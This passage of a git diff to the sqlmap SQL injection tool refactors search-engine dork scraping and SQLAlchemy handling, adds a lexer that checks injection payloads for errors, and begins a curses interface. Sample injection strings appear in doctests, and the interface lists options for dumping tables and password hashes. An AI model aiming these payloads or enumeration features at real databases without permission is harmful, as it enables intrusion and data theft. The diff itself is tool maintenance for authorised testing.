_urllib.request.Request("https://www.google.com/ncr", headers=requestHeaders) + req = _urllib.request.Request(url, data=getBytes(data) if data else None, headers=headers) conn = _urllib.request.urlopen(req) - except Exception as ex: - errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) - raise SqlmapConnectionException(errMsg) - gpage = conf.googlePage if conf.googlePage > 1 else 1 - logger.info("using search result page #%d" % gpage) - - url = "https://www.google.com/search?" # NOTE: if consent fails, try to use the "http://" - url += "q=%s&" % urlencode(dork, convall=True) - url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" - url += "&start=%d" % ((gpage - 1) * 100) - - try: - req = _urllib.request.Request(url, headers=requestHeaders) - conn = _urllib.request.urlopen(req) - - requestMsg = "HTTP request:\nGET %s" % url + requestMsg = "HTTP request:\n%s %s" % ("POST" if data else "GET", url) requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) page = conn.read() - code = conn.code - status = conn.msg responseHeaders = conn.info() - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - + responseMsg = "HTTP response (%s - %d):\n" % (conn.msg, conn.code) if conf.verbose <= 4: responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) elif conf.verbose > 4: responseMsg += "%s\n%s\n" % (responseHeaders, page) - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + + page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + retVal = getUnicode(page) # Note: if decodePage call fails (Issue #4202) except _urllib.error.HTTPError as ex: try: - page = ex.read() - responseHeaders = ex.info() - except Exception as _: - warnMsg = "problem occurred while trying to get " - warnMsg += "an error page information (%s)" % getSafeExString(_) - logger.critical(warnMsg) - return None + retVal = getUnicode(ex.read()) + except Exception: + pass except (_urllib.error.URLError, _http_client.error, socket.error, socket.timeout, socks.ProxyError): - errMsg = "unable to connect to Google" - raise SqlmapConnectionException(errMsg) + pass - page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) + return retVal - page = getUnicode(page) # Note: if upper function call fails (Issue #4202) +def _search(dork): + """ + This method performs the effective search using the provided dork, + trying the available search engines in order of (current) scraping + reliability and returning the results of the first one that yields any + (so that the failure of a single engine does not break the feature) + """ - retVal = [_urllib.parse.unquote(match.group(1) or match.group(2)) for match in re.finditer(GOOGLE_REGEX, page, re.I)] + if not dork: + return None - if not retVal and "detected unusual traffic" in page: - warnMsg = "Google has detected 'unusual' traffic from " - warnMsg += "used IP address disabling further searches" + retVal = [] + seen = set() - if conf.proxyList: + requestHeaders = { + HTTP_HEADER.USER_AGENT: dict(conf.httpHeaders).get(HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT), + HTTP_HEADER.ACCEPT_ENCODING: HTTP_ACCEPT_ENCODING_HEADER_VALUE, + HTTP_HEADER.COOKIE: GOOGLE_CONSENT_COOKIE, + } + + gpage = conf.googlePage if conf.googlePage > 1 else 1 + logger.info("using search result page #%d" % gpage) + + encoded = urlencode(dork, convall=True) + + # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one) + engines = ( + ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")), + ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)), + ("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)), + ) + + for name, url, data, regex, flags, extract in engines: + page = _fetch(url, requestHeaders, data) + + if not page: + continue + + count = 0 + for match in re.finditer(regex, page, flags): + link = _urllib.parse.unquote(extract(match)) + if link and link not in seen: + seen.add(link) + retVal.append(link) + count += 1 + + if count: + logger.info("found %d usable link%s using %s" % (count, 's' if count != 1 else "", name)) + break # Note: stop at the first engine that actually returns results (others are only fallbacks) + + # Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP) + if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)): + warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name raise SqlmapBaseException(warnMsg) - else: - logger.critical(warnMsg) if not retVal: - message = "no usable links found. What do you want to do?" - message += "\n[1] (re)try with DuckDuckGo (default)" - message += "\n[2] (re)try with Bing" - message += "\n[3] quit" - choice = readInput(message, default='1') - - if choice == '3': - raise SqlmapUserQuitException - elif choice == '2': - url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(dork, convall=True), (gpage - 1) * 10 + 1) - regex = BING_REGEX - else: - url = "https://html.duckduckgo.com/html/" - data = "q=%s&s=%d" % (urlencode(dork, convall=True), (gpage - 1) * 30) - regex = DUCKDUCKGO_REGEX - - try: - req = _urllib.request.Request(url, data=getBytes(data), headers=requestHeaders) - conn = _urllib.request.urlopen(req) - - requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - page = conn.read() - code = conn.code - status = conn.msg - responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) - - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - - if conf.verbose <= 4: - responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) - elif conf.verbose > 4: - responseMsg += "%s\n%s\n" % (responseHeaders, page) - - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except _urllib.error.HTTPError as ex: - try: - page = ex.read() - page = decodePage(page, ex.headers.get("Content-Encoding"), ex.headers.get("Content-Type")) - except socket.timeout: - warnMsg = "connection timed out while trying " - warnMsg += "to get error page information (%d)" % ex.code - logger.critical(warnMsg) - return None - except: - errMsg = "unable to connect" - raise SqlmapConnectionException(errMsg) - - retVal = [_urllib.parse.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] - - if not retVal and "issue with the Tor Exit Node you are currently using" in page: - warnMsg = "DuckDuckGo has detected 'unusual' traffic from " - warnMsg += "used (Tor) IP address" - - if conf.proxyList: - raise SqlmapBaseException(warnMsg) - else: - logger.critical(warnMsg) + warnMsg = "no usable links found (search engines might be blocking the used IP address)" + logger.critical(warnMsg) return retVal @@ -204,6 +153,7 @@ def search(dork): return search(dork) else: raise + finally: kb.choices.redirect = popValue() diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index f1bc0d99d60..d079cfb3aab 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -82,7 +82,7 @@ def connect(self): engine = _sqlalchemy.create_engine(self.address, connect_args={}) self.connector = engine.connect() - except (TypeError, ValueError): + except (TypeError, ValueError) as ex: if "_get_server_version_info" in traceback.format_exc(): try: import pymssql @@ -90,10 +90,14 @@ def connect(self): raise SqlmapConnectionException("SQLAlchemy connection issue (obsolete version of pymssql ('%s') is causing problems)" % pymssql.__version__) except ImportError: pass + # Note: surface (as a proper SqlmapConnectionException) instead of silently continuing with self.connector left None + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") else: - pass + # Note: raise as SqlmapConnectionException (like the generic handler below) so the caller's native-connector + # fallback engages and no raw TypeError/ValueError can reach sqlmap's top-level handler + raise SqlmapConnectionException("SQLAlchemy connection issue ('%s')" % getSafeExString(ex)) except SqlmapFilePathException: raise except Exception as ex: @@ -113,14 +117,33 @@ def fetchall(self): logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False + # Reference: https://stackoverflow.com/a/69491015 + if hasattr(_sqlalchemy, "text"): + query = _sqlalchemy.text(query) + try: self.cursor = self.connector.execute(query) + # Note: SQLAlchemy 2.0+ dropped implicit autocommit (otherwise DML changes - e.g. via --sql-query - + # would be silently lost). SELECT goes through select() with commit=False so the result set is + # fetched BEFORE committing: on some drivers (e.g. pymssql) commit() discards the open cursor, which + # otherwise made every MSSQL '-d' query silently return empty (banner/is-dba/dump all blank). + if commit and hasattr(self.connector, "commit"): + self.connector.commit() retVal = True - except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError) as ex: + except (_sqlalchemy.exc.OperationalError, _sqlalchemy.exc.ProgrammingError, _sqlalchemy.exc.DataError, _sqlalchemy.exc.IntegrityError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + # Roll back the failed statement's transaction so it does not poison every following query with + # 'InFailedSqlTransaction' (SQLAlchemy 2.0+ keeps the transaction open after an error). Without this + # a single legitimately-failing probe - e.g. AURORA_VERSION() on vanilla PostgreSQL during + # fingerprinting - made all later queries silently return wrong values (e.g. '--is-dba' read False) + if hasattr(self.connector, "rollback"): + try: + self.connector.rollback() + except Exception: + pass except _sqlalchemy.exc.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) @@ -129,7 +152,14 @@ def execute(self, query): def select(self, query): retVal = None - if self.execute(query): + # Fetch BEFORE committing (commit=False): committing can discard the open result cursor on some drivers + # (e.g. pymssql), which silently emptied every MSSQL '-d' result. No DML is persisted by a SELECT anyway. + if self.execute(query, commit=False): retVal = self.fetchall() + if hasattr(self.connector, "commit"): + try: + self.connector.commit() + except Exception: + pass return retVal diff --git a/lib/utils/sqllint.py b/lib/utils/sqllint.py new file mode 100644 index 00000000000..867b4c7d228 --- /dev/null +++ b/lib/utils/sqllint.py @@ -0,0 +1,422 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +try: + from lib.core.data import kb + from lib.core.data import paths + from lib.core.common import getFileItems +except ImportError: + kb = paths = None + getFileItems = None + +# Token type constants (kept short/local; this is a self-contained lexer) +T_WS = "ws" +T_LCOMMENT = "lcomment" +T_BCOMMENT = "bcomment" +T_STR = "str" # closed string literal ('...' or "...") +T_UNTERM = "unterm" # unterminated string literal (open quote to end) +T_QID = "qid" # quoted identifier (`...` or [...]) +T_NUM = "num" +T_IDENT = "ident" # bare identifier (not a keyword) +T_KEYWORD = "keyword" # identifier whose upper() is a known SQL keyword +T_OP = "op" +T_COMMA = "comma" +T_DOT = "dot" +T_SEMI = "semi" +T_LPAREN = "lparen" +T_RPAREN = "rparen" +T_OTHER = "other" # anything the lexer could not classify + +# Master lexer: ORDER MATTERS (longer / more specific patterns first) +_LEXER = re.compile(r""" + (?P<%s>\s+) + | (?P<%s>(?:--|\#)[^\n]*) + | (?P<%s>/\*.*?\*/) + | (?P<%s>'(?:''|[^'])*'|"(?:""|[^"])*") + | (?P<%s>`[^`]*`|\[[^\]]*\]) + | (?P<%s>0[xX][0-9A-Fa-f]+|(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?) + | (?P<%s>(?:[A-Za-z_@$]|[^\x00-\x7f])(?:[A-Za-z0-9_@$]|[^\x00-\x7f])*) + | (?P<%s><=|>=|<>|!=|==|<<|>>|\|\||&&|::|:=|[-+*/%%=<>!~&|^:]) + | (?P<%s>,) + | (?P<%s>\.) + | (?P<%s>;) + | (?P<%s>\() + | (?P<%s>\)) +""" % (T_WS, T_LCOMMENT, T_BCOMMENT, T_STR, T_QID, T_NUM, T_IDENT, T_OP, + T_COMMA, T_DOT, T_SEMI, T_LPAREN, T_RPAREN), re.VERBOSE | re.DOTALL) + +# operand-producing token types (something that evaluates to a value) +_OPERANDS = frozenset((T_NUM, T_STR, T_IDENT, T_QID, T_RPAREN)) + +# operands trustworthy as the left side of a "missing separator" check. +# a string is excluded because break-out payloads routinely produce a fake +# merged string (e.g. "1' AND '1"->"' AND '") followed by a bare number; a +# number is excluded because some dialects legitimately space-separate two +# numbers (e.g. HSQLDB "LIMIT <offset> <limit>") +_HARD_OPERANDS = frozenset((T_IDENT, T_RPAREN)) + +# binary keyword operators (need an operand on both sides) +_BINARY_KEYWORDS = frozenset(("AND", "OR", "XOR", "LIKE", "RLIKE", "REGEXP", "DIV", "MOD")) + +# binary symbolic operators (unary +/-/~ excluded; '*' excluded as it doubles +# as the SELECT/COUNT wildcard) +_BINARY_SYMBOLS = frozenset(("=", "<>", "!=", "<", ">", "<=", ">=", "/", "%", "||", "&&", "|", "&", "^")) + +# clause-introducing keywords that signal a dangling list item when they sit +# right after a comma ("SELECT a,b, FROM t"). GROUP/ORDER/LIMIT/OFFSET are +# excluded on purpose - they double as very common column names, so a bare +# "a,limit,b" would false-positive. +_CLAUSE_KEYWORDS = frozenset(("FROM", "WHERE", "HAVING", "INTO")) + +# sqlmap's own templating markers. If any survives into a *final* outbound payload +# a substitution failed upstream (agent.py / cleanupPayload / queries.xml) - always +# a bug. Matched on the raw payload because a marker can leak anywhere (bare, inside +# a string, or where the lexer would otherwise read it as an MSSQL [identifier]). +_LEFTOVER_MARKER = re.compile( + r"\[(?:RANDNUM\d*|RANDSTR\d*|INFERENCE|SLEEPTIME|DELAYED|DELIMITER_START|DELIMITER_STOP" + r"|ORIGVALUE|ORIGINAL|GENERIC_SQL_COMMENT|QUERY|UNION|CHAR|COLSTART|COLSTOP|DB" + r"|SINGLE_QUOTE|DOUBLE_QUOTE|AT_REPLACE|SPACE_REPLACE|DOLLAR_REPLACE|HASH_REPLACE)\]") + +# SQL words whose near-miss spelling in a structural position is almost always a +# broken payload, not a legitimate identifier (deliberately smaller than the full +# keyword list): catches payload-builder typos like UNI1ON/SEL2ECT/ORD2ER without +# flagging arbitrary application identifiers. +# only length>=5 structural keywords: short ones (ON/NOT/IN/IS/BY/OR/AND/ALL/ +# FROM/LIKE/NULL/...) are too easily near-missed by real column names (note->NOT, +# ono->ON), which the real-identifier stress test proved would false-positive. +_NEAR_KEYWORD_TARGETS = frozenset(( + "SELECT", "UNION", "DISTINCT", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "WHERE", "INNER", "RIGHT", "OUTER", "CROSS", "REGEXP", "RLIKE")) + +# single-char substitutions seen in accidental mutation/test edits +_DIGIT_KEYWORD_ALIASES = {"0": "O", "1": "I", "2": "E", "3": "E", "4": "A", "5": "S", "7": "T", "8": "B"} + +_CLAUSE_STARTERS = frozenset(( + "SELECT", "UNION", "FROM", "WHERE", "GROUP", "ORDER", "HAVING", "LIMIT", + "OFFSET", "INTO", "JOIN", "ON", "AND", "OR")) + +_KEYWORDS_CACHE = None + + +class Token(object): + __slots__ = ("type", "value", "start", "end") + + def __init__(self, type_, value, start, end): + self.type = type_ + self.value = value + self.start = start + self.end = end + + +def _word(token): + if token is not None and token.type in (T_IDENT, T_KEYWORD): + return token.value.upper() + return None + + +def _atClauseBoundary(prev): + return prev is None or prev.type in (T_LPAREN, T_RPAREN, T_SEMI, T_COMMA) or \ + (prev.type == T_OP and prev.value not in (".",)) or \ + (prev.type == T_KEYWORD and prev.value.upper() in _CLAUSE_STARTERS) + + +def _editWithin1(a, b): + """Damerau-Levenshtein distance <= 1 (one insertion, deletion, substitution + or adjacent transposition). Catches every single-char keyword typo class.""" + la, lb = len(a), len(b) + if a == b or abs(la - lb) > 1: + return a == b + if la == lb: + diff = [i for i in range(la) if a[i] != b[i]] + if len(diff) == 1: # substitution + return True + if len(diff) == 2 and diff[1] == diff[0] + 1 and \ + a[diff[0]] == b[diff[1]] and a[diff[1]] == b[diff[0]]: # transposition + return True + return False + shorter, longer = (a, b) if la < lb else (b, a) # deletion/insertion + for i in range(len(longer)): + if shorter == longer[:i] + longer[i + 1:]: + return True + return False + + +def _nearKeywordCandidates(value): + """ + Structural SQL keywords one single-char typo away from an identifier + (Damerau distance 1; NOT generic fuzzy matching over the whole keyword file). + + >>> sorted(_nearKeywordCandidates("UNI1ON")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("SEL2ECT")) + ['SELECT'] + >>> sorted(_nearKeywordCandidates("UrNION")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNIN")) + ['UNION'] + >>> sorted(_nearKeywordCandidates("UNOIN")) + ['UNION'] + """ + upper = value.upper() + if upper in _NEAR_KEYWORD_TARGETS or len(upper) < 4: + return set() + return set(target for target in _NEAR_KEYWORD_TARGETS if _editWithin1(upper, target)) + + +def _nearKeywordIsStructural(sig, index, keyword): + """True when a near-keyword identifier sits where that keyword is expected.""" + prev = sig[index - 1] if index > 0 else None + nxt = sig[index + 1] if index + 1 < len(sig) else None + prevWord = _word(prev) + nextWord = _word(nxt) + + if keyword == "UNION": + return nextWord in ("ALL", "DISTINCT", "SELECT") and \ + prevWord not in ("SELECT", "FROM", "WHERE", "GROUP", "ORDER", "BY", "HAVING", "LIMIT", "OFFSET", "JOIN", "ON", "AS") + + if keyword == "SELECT": + return prev is None or prev.type in (T_LPAREN, T_SEMI) or prevWord in ("UNION", "ALL", "DISTINCT", "EXCEPT", "INTERSECT") + + if keyword in ("ORDER", "GROUP"): + return nextWord == "BY" + + if keyword == "BY": + return prevWord in ("ORDER", "GROUP") + + if keyword in ("AND", "OR", "LIKE", "REGEXP", "RLIKE", "IN", "IS"): + return prev is not None and nxt is not None and prev.type in _OPERANDS and nxt.type in _OPERANDS.union((T_LPAREN,)) + + if keyword in ("FROM", "WHERE", "HAVING", "LIMIT", "OFFSET", "INTO", "JOIN", "ON"): + return _atClauseBoundary(prev) or prevWord in ("SELECT", "UPDATE", "DELETE", "INSERT", "FROM", "WHERE", "HAVING") + + if keyword in ("ALL", "DISTINCT"): + return prevWord in ("UNION", "SELECT") + + if keyword in ("NULL", "NOT"): + return _atClauseBoundary(prev) + + return False + + +def _keywords(): + global _KEYWORDS_CACHE + + if kb is not None and getattr(kb, "keywords", None): + return kb.keywords + + if _KEYWORDS_CACHE is not None: + return _KEYWORDS_CACHE + + retVal = set() + + candidate = None + if paths is not None and getattr(paths, "SQL_KEYWORDS", None): + candidate = paths.SQL_KEYWORDS + else: + # self-sufficient fallback (e.g. bare doctest run before boot) + candidate = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))), "data", "txt", "keywords.txt") + + try: + if getFileItems is not None: + retVal = set(getFileItems(candidate)) + else: + with open(candidate) as f: + retVal = set(_.strip().upper() for _ in f if _.strip() and not _.startswith('#')) + except Exception: + pass + + _KEYWORDS_CACHE = retVal + return retVal + + +def tokenize(sql, keywords=None): + """ + Fragment-tolerant lexer. Returns a list of Token objects (whitespace kept + so callers can reason about token gluing, e.g. '1UNION'). + + >>> [t.type for t in tokenize("id 1") if t.type != 'ws'] + ['ident', 'num'] + >>> [t.type for t in tokenize("1foo") if t.type != 'ws'] + ['num', 'ident'] + """ + if keywords is None: + keywords = _keywords() + + retVal = [] + pos = 0 + length = len(sql) + + while pos < length: + match = _LEXER.match(sql, pos) + if match: + type_ = match.lastgroup + value = match.group() + if type_ == T_IDENT and value.upper() in keywords: + type_ = T_KEYWORD + retVal.append(Token(type_, value, pos, match.end())) + pos = match.end() + else: + char = sql[pos] + if char in "'\"`[": + # an opening quote/bracket that never closes -> unterminated to end + retVal.append(Token(T_UNTERM, sql[pos:], pos, length)) + pos = length + else: + retVal.append(Token(T_OTHER, char, pos, pos + 1)) + pos += 1 + + return retVal + + +def _significant(tokens): + """Tokens that carry structure (drop whitespace and comments).""" + return [_ for _ in tokens if _.type not in (T_WS, T_LCOMMENT, T_BCOMMENT)] + + +def _isBinary(token): + if token.type == T_KEYWORD: + return token.value.upper() in _BINARY_KEYWORDS + if token.type == T_OP: + return token.value in _BINARY_SYMBOLS + return False + + +def checkSanity(sql, keywords=None): + """ + Fragment-tolerant SQL sanity check. Models locally-valid SQL and reports + only *interior* impossibilities - constructs that no server-side prefix or + suffix could ever make legal. Dangling quotes/parens at the edges are + tolerated (the surrounding query supplies the other half). + + Returns a list of human-readable issue strings (empty == looks sane). + + Assumes SQL keyword operators (AND/OR/LIKE/...) are used as operators, not + as user identifiers named after a keyword (some engines, e.g. SQLite, allow + a column literally named "LIKE") - injection payloads never do the latter. + + >>> checkSanity("1 AND 1=1") + [] + >>> checkSanity("1') UNION SELECT NULL-- -") + [] + >>> bool(checkSanity("(SELECT id 1 FROM users)")) + True + >>> bool(checkSanity("1UNION SELECT NULL")) + True + """ + if not sql: + return [] + + if keywords is None: + keywords = _keywords() + + issues = [] + + # -- residual templating markers (upstream substitution failed) -------- + for match in _LEFTOVER_MARKER.finditer(sql): + issues.append("leftover marker '%s' at offset %d" % (match.group(0), match.start())) + + tokens = tokenize(sql, keywords) + + # -- edge tolerance for unterminated strings --------------------------- + # A trailing open quote at paren-depth 0 is a legitimate break-out. One + # that opens *inside* a group (depth > 0) has swallowed a needed ')', i.e. + # an odd quote count within an owned scope (the classic "users'" abomination). + depth = 0 + unterminated = False + for token in tokens: + if token.type == T_LPAREN: + depth += 1 + elif token.type == T_RPAREN: + depth -= 1 + elif token.type == T_UNTERM: + if depth > 0: + issues.append("odd quote inside a parenthesized scope at offset %d" % token.start) + unterminated = True + break + + # unclosed '(' (a dropped ')'): well-formed payloads NEVER end paren-positive + # (leading break-out ')' only ever makes depth negative), so this is 0-FP. + if not unterminated and depth > 0: + issues.append("unbalanced parentheses (%d unclosed '(')" % depth) + + sig = _significant(tokens) + + for i in range(len(sig)): + cur = sig[i] + prev = sig[i - 1] if i > 0 else None + nxt = sig[i + 1] if i + 1 < len(sig) else None + + # a keyword operator immediately followed by '(' is a function call + # (e.g. the SQLite/MySQL LIKE(a, b) function), not a binary operator + curIsFunc = cur.type == T_KEYWORD and nxt is not None and nxt.type == T_LPAREN + curBinary = _isBinary(cur) and not curIsFunc + + # -- keyword near-miss in a structural position: UNI1ON/SEL2ECT/ORD2ER + if cur.type == T_IDENT: + for keyword in sorted(_nearKeywordCandidates(cur.value)): + if _nearKeywordIsStructural(sig, i, keyword): + issues.append("keyword typo '%s' (near '%s') at offset %d" % (cur.value, keyword, cur.start)) + break + + # -- UNION must continue with SELECT/ALL/DISTINCT/'(' (catches a glued or + # corrupted continuation like 'UNION ALLSELECT' -> UNION <identifier>) + if cur.type == T_KEYWORD and cur.value.upper() == "UNION" and nxt is not None: + if not (nxt.type == T_LPAREN or (nxt.type == T_KEYWORD and nxt.value.upper() in ("SELECT", "ALL", "DISTINCT"))): + issues.append("UNION not followed by SELECT/ALL/DISTINCT at offset %d" % cur.start) + + # -- digit glued to a keyword: '1UNION', '5108AND' (a digit-started + # identifier like '4images' is legitimate and must NOT trip this) + if cur.type == T_NUM and nxt is not None and nxt.start == cur.end and nxt.type == T_KEYWORD: + issues.append("digit glued to a keyword ('%s%s') at offset %d" % (cur.value, nxt.value, cur.start)) + + # -- operand directly followed by a bare number: 'id 1' ------------ + # a numeric literal can never be an alias, so this is always broken + if cur.type == T_NUM and prev is not None and prev.type in _HARD_OPERANDS: + issues.append("missing separator before number '%s' at offset %d" % (cur.value, cur.start)) + + # -- degenerate parenthesis / punctuation adjacency ---------------- + if prev is not None: + pair = (prev.type, cur.type) + if pair == (T_COMMA, T_COMMA): + issues.append("empty list item (',,') at offset %d" % cur.start) + elif pair == (T_LPAREN, T_COMMA): + issues.append("comma right after '(' at offset %d" % cur.start) + elif pair == (T_COMMA, T_RPAREN): + issues.append("comma right before ')' at offset %d" % cur.start) + elif prev.type == T_KEYWORD and prev.value.upper() == "SELECT" and cur.type == T_COMMA: + issues.append("comma right after SELECT at offset %d" % cur.start) + elif prev.type == T_COMMA and cur.type == T_KEYWORD and cur.value.upper() in _CLAUSE_KEYWORDS \ + and nxt is not None and nxt.type not in (T_COMMA, T_RPAREN): + # a clause keyword right after a comma AND followed by real content is a + # dangling list item ("a,b, FROM t"); if it is a bare list item itself + # ("a,group,b" - a column named 'group') the next token is a comma/paren/end + issues.append("dangling comma before '%s' at offset %d" % (cur.value, cur.start)) + elif pair == (T_RPAREN, T_LPAREN): + issues.append("adjacent groups ')(' at offset %d" % cur.start) + elif pair == (T_LPAREN, T_RPAREN) and (i < 2 or sig[i - 2].type in (T_OP, T_COMMA, T_LPAREN)): + issues.append("empty parentheses at offset %d" % prev.start) + elif cur.type == T_RPAREN and _isBinary(prev): + issues.append("operator right before ')' at offset %d" % cur.start) + elif prev.type == T_COMMA and curBinary: + issues.append("operator right after ',' at offset %d" % cur.start) + elif prev.type == T_LPAREN and curBinary: + issues.append("operator right after '(' at offset %d" % cur.start) + + # -- doubled binary operators: '= =', 'AND AND' -------------------- + if prev is not None and _isBinary(prev) and curBinary: + # allow a unary that legitimately follows (handled by NOT/~/sign) + if not (cur.type == T_KEYWORD and cur.value.upper() == "NOT"): + issues.append("doubled operator ('%s %s') at offset %d" % (prev.value, cur.value, prev.start)) + + # -- stray un-lexable character ------------------------------------ + if cur.type == T_OTHER: + issues.append("stray character '%s' at offset %d" % (cur.value, cur.start)) + + return issues diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 9551cfe5daf..0b252547e00 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/tui.py b/lib/utils/tui.py new file mode 100644 index 00000000000..3f5d6f43ead --- /dev/null +++ b/lib/utils/tui.py @@ -0,0 +1,933 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import subprocess +import sys +import tempfile + +try: + import curses +except ImportError: + curses = None + +from lib.core.common import getSafeExString +from lib.core.common import saveConfig +from lib.core.data import paths +from lib.core.defaults import defaults +from lib.core.enums import MKSTEMP_PREFIX +from lib.core.exception import SqlmapMissingDependence +from lib.core.exception import SqlmapSystemException +from lib.core.settings import IS_WIN +from thirdparty.six.moves import configparser as _configparser + +# Options surfaced on the curated "Quick start" tab (by destination), in display order +QUICK_START_DESTS = ( + "url", "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short tab labels so the (sometimes verbose) option-group titles fit the top bar +TAB_ALIASES = { + "Optimization": "Optimize", + "Enumeration": "Enumerate", + "Brute force": "Brute", + "User-defined function injection": "UDF", + "File system access": "Files", + "Operating system access": "OS", + "Windows registry access": "Registry", + "Miscellaneous": "Misc", +} + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optTakesValue(option): + if hasattr(option, "takes_value"): + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + +class NcursesUI: + def __init__(self, stdscr, parser): + self.stdscr = stdscr + self.parser = parser + self.current_tab = 0 + self.current_field = 0 + self.scroll_offset = 0 + self.tabs = [] + self.fields = {} + self.running = False + self.process = None + + # Initialize colors + self._init_colors() + + # Setup curses + curses.curs_set(0) + self.stdscr.keypad(1) + + # Parse option groups + self._parse_options() + + def _init_colors(self): + """Cohesive palette: a flat 256-color scheme with a graceful 8-color fallback""" + curses.start_color() + try: + curses.use_default_colors() + default_bg = -1 + except curses.error: + default_bg = curses.COLOR_BLACK + + if curses.COLORS >= 256: + accent, accent_fg, sel_bg = 75, 234, 237 + text, muted, green, red = 252, 245, 114, 210 + curses.init_pair(1, accent_fg, accent) # header / footer bar + curses.init_pair(2, accent_fg, accent) # active tab + curses.init_pair(3, muted, 236) # inactive tab + curses.init_pair(4, accent, sel_bg) # selected field row + curses.init_pair(5, muted, default_bg) # help / description + curses.init_pair(6, red, default_bg) # error / important + curses.init_pair(7, text, default_bg) # label / value + curses.init_pair(8, green, default_bg) # value that has been set + curses.init_pair(9, muted, sel_bg) # help text on the highlighted row + else: + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(3, 